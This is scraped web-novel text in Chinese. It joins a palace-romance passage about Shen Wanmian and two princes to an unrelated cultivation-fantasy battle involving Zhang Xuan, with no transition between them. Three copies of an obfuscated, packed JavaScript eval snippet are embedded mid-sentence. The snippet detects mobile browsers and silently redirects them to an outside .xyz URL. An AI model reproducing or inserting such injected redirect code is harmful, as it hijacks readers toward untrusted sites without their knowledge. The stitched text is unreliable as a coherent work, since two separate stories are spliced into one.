沈晚眠惜命的紧：“二位殿下，今日我实在身体不适，不如改日吧。” 明日秋猎就要开始了，她们更没时间教她。 裴汐和反对道：“那可不行，父皇交代了，务必将你教会，可不能丢了咱们大齐的脸面。” 裴舒妍也附和道：“就是就是。” “不如……二位殿下辛苦了，不妨先用些点心？” 裴舒妍吃过她做的点心，那味道简直了。 到现在她都念念不忘。 “好啊好啊，是你亲手做的吗？” 沈晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097319|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠点点头：“自然。” “行，那咱们回去吧。” 裴汐和没吃过，不免好奇是什么样的点心能让裴舒妍都经不住诱惑。 便没阻止。 四人来到沈晚眠帐中，沈晚眠将糕点端上桌。 裴舒妍和裴汐和都忍不住开吃。 唯独裴行止，还是耷拉着脸，一言不发。 “小七，你快尝尝，这糕点老好吃了。” 裴行止酸溜溜道：“人家沈二小姐不发话，我怎么敢擅自**家的东西。” 裴汐和差点被呛到，这真的是七兄吗？ 他竟然还有这样的一面！？ 沈晚眠知道他还在生昨晚的气。 但她也不知这种情况该如何应对。 干脆不接话，企图蒙混过关。 “二位慢慢吃，我去取些茶水。” 她刚要逃，却被裴行止拉住胳膊。 裴汐和与裴舒妍对视一眼。 什么情况这是？ “哎呀，突然好想季公子，不知他用过膳没有，我得去看看。” 裴汐和很有眼色的为自己找了个借口。 裴舒妍一听，怎么能让裴汐和抢了先，于是也追了出去。 吉祥不知躲哪里去了，帐篷里只剩他们二人。 “为何躲我？” 他怎么还在纠结这个问题！ “我……我不知道，你别问了，我现在乱的很……” “你的腰还疼吗？” “啊？” “我说，你的腰还疼吗？” 话题转移的太快，沈晚眠一时没反应过来。 “不……有点。” 她要是说不疼了，肯定会被他逼着骑马。 “躺下，我给你揉揉。” 沈晚眠突然想起早上的药油，难道他想…… “这不太好吧。” 裴行止瞬间反应过来，她想歪了。 “不用脱衣服，我……我是说不用药油。” 沈晚眠干笑两声。 “哈哈，那麻烦殿下了。” 救命，她脑子里到底在想什么！ 沈晚眠趴在床上，裴行止十分专注的为她按摩。 虽然他脸上没有什么表情，但内心早已炸锅。 她的腰好细，好软…… “力度可以吗？” 第61章 身材 沈晚眠还是觉得尴尬，她将头埋进被子里，脸红的都要滴出血。 “嗯” “嘶…轻点，有点疼。” 裴行止减小了力度。 “这样呢，不疼了吧。” “嗯” 外面的裴宴听到这段糟糕的对话，终于忍不住彻底爆发。 他猛地将帘子掀开，眼里全是被“绿”的怒火。 “你们在干什么！” 裴行止动作一滞，虽然他们并没做出格的事。 可突然被人撞见，他还是有些心虚。 “我们……” 他这样吞吞吐吐，就算没什么也变的不清不楚。 沈晚眠从床上坐起，神色坦荡。 “我腰受伤了，他在为我揉腰，你要一起吗？” 裴宴气的话都说不利索，他指着沈晚眠，整个人都在发抖。 “你……你…很好，沈晚眠，你竟然敢…” 沈晚眠抱住裴行止的胳膊，故意挑衅。 “我怎么了，女未嫁男未娶，更何况我们清清白白，什么出格的事都没做。” “况且就算我们真发生点什么，与你又何干？” 别忘了，他们这一世并非夫妻，在她面前，他连前夫都算不上。 顶多算她上司的儿子。 “孤要将此事传出去，让所有人都知道，你们的**！” 看他气急的模样，沈晚眠忍不住笑出声。 上一世他与沈书玉搞在一起的账她还没算。 “好啊，你传啊，不过我们二人郎有情妾有意，殿下正好可以借此事向陛下求赐婚，这样一来，我们就不算**，而是一段佳话。” 原来她已经连他们成婚的事都想好了。 裴行止已经完全没有了被人撞破私情的尴尬。 他恨不得立马就去父皇面前求赐婚。 沈晚眠接着补刀：“你快赶紧向外人宣扬，我都等不急了。” 沈晚眠太懂他了，得不到的才是最好的。 就昨日的情形来看，八成他是对自己上心了。 既如此他绝不会将自己推给裴行止。 裴宴冷静下来，他绝不能如沈晚眠的意。 “你做梦！别以为孤不知道你想做什么。” “母妃要见你，赶紧收拾收拾随孤走一趟。” 她想嫁给老七，他偏不同意，还要将她困在身边，时时刻刻监视她。 “给娘娘请安，不知娘娘找臣女何事？” 肯定是要问她关于学骑马的事。 不出沈晚眠所料，萧贵妃第一句就是问她学的如何。 “马学的怎么样了？” 可别丢她的脸。 “可以骑着走两步，但快跑还需些时间适应。” 萧贵妃点点头：“好，小六小九性子跳脱，教你的事，还是让太子来吧。” 搞了半天，原是要公报私仇。 沈晚眠看他一眼，随即应下：“多谢娘娘厚爱，臣女必不辜负娘娘和殿下的苦心。” 她特意将“苦心”二字咬的特别重。 裴宴对她的反应很是满意。 有他时刻监督，看她还怎么勾引老七。 老七还是太年轻，容易被沈晚眠这种外表人畜无害，内里心机深沉的坏女人所骗。 作为兄长，他便替他承受这份罪孽。 希望他能明白自己的苦心。 “快骑，别想偷懒，我可不会像老七那样惯着你。” 沈晚眠累的腰都要断了，但裴宴就是不让她休息。 最后实在受不住，她只能装晕。 “你…你别装了，赶紧起来，不然再加五十圈。” 见她伏在马上一动不动，裴宴有些慌。 “沈晚眠？沈昭昭？你别装死啊，快起来。” 沈晚眠还是一动不动。 “五兄，沈二可能是体力不支，你是男子多有不便，不如把她交给我，我先带她下去休息一会。” 裴汐和突然冒出，裴宴也没工夫纠结她什么时候来的了，只能先让沈晚眠醒过来。 “好，你快去，快把她抱下来。” 裴汐和将沈晚眠从马上抱下来。 “那我先带她下去休息。” 回到帐篷，沈晚眠睁开眼，从她怀里退出来。 “感谢殿下，没有戳穿我。” 裴汐和摆摆手。 “无妨，我也是受人所托，你没事吧。” 沈晚眠想到她上一世的结局，忍不住多说了一句。 “殿下，您不妨多在朝中相看相看，何必跟六殿下过不去。” 裴汐和虽是中宫所出，但她一身反骨。 她厌恶皇后被权利冲昏头脑，也不屑皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101138|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄贪婪敛财。 因此皇后和三皇子失势对她没多大影响。 她甚至觉得他们活该。 但她又渴望亲情。 裴舒妍的母妃静妃，是她一直想亲近的。 在她看来，裴舒妍就是身在福中不知福，还整日作天作地不学无术。 因此她才事事与她作对。 上一世沈晚眠刚嫁入东宫不久，裴汐和便被皇帝派到蒙国和亲。 此后不到三年时间，她便香消玉殒。 “比起我，沈二小姐的事才更棘手吧，同时被两位皇子喜欢，不见得是好事。” 沈晚眠一惊，她竟看破了她与裴宴。 她如此聪慧，怎得非要与六公主为了一个男人闹的满朝文武人尽皆知？ 除非她是故意的！ “要不要我帮你参谋参谋？” 裴汐和建议道。 沈晚眠尴尬的笑了笑。 “殿下有何高见？” “我觉得七兄好一点，论相貌，七兄胜过五兄。论财力，七兄外祖家富可敌国。地位上虽然比五兄差了些，可五兄心智不太成熟，总的来说，七兄更合算。” “对了，七兄还是习武之人，身体肯定……” “够了，殿下，够了。” 沈晚眠赶紧打断她，生怕她下一秒会说出惊世骇俗的话。 “你害羞什么，咱们都是女子，私下里讨论讨论怎么了。” 虽然大齐在男女方面没有前朝封建。 但这还是太奔放了。 “不过你年纪还小，这事倒也不用急。” 大齐女子十六及笄，但一般都二十左右才议婚。 沈晚眠才刚及笄，的确不用着急。 “殿下，我有点累了，不如你先回吧，咱们有空再聚。” 沈晚眠将人打发走，可沈汐和的话一直在她脑海中挥散不去。 昨日裴行止在教她骑马时，她的确感受到他的身材比裴宴魁梧。 平日他穿着衣服，真看不出来…… 停停停，她到底在想些什么！ 此刻沈晚眠真想像男人一样，洗个冷水澡冷静冷静。 “昭昭，你在吗？” 说曹操曹操就到，但沈晚眠不想面对他。 “不在。” ！！！ 她又做了什么蠢事！ 第62章 哄人 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101139|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 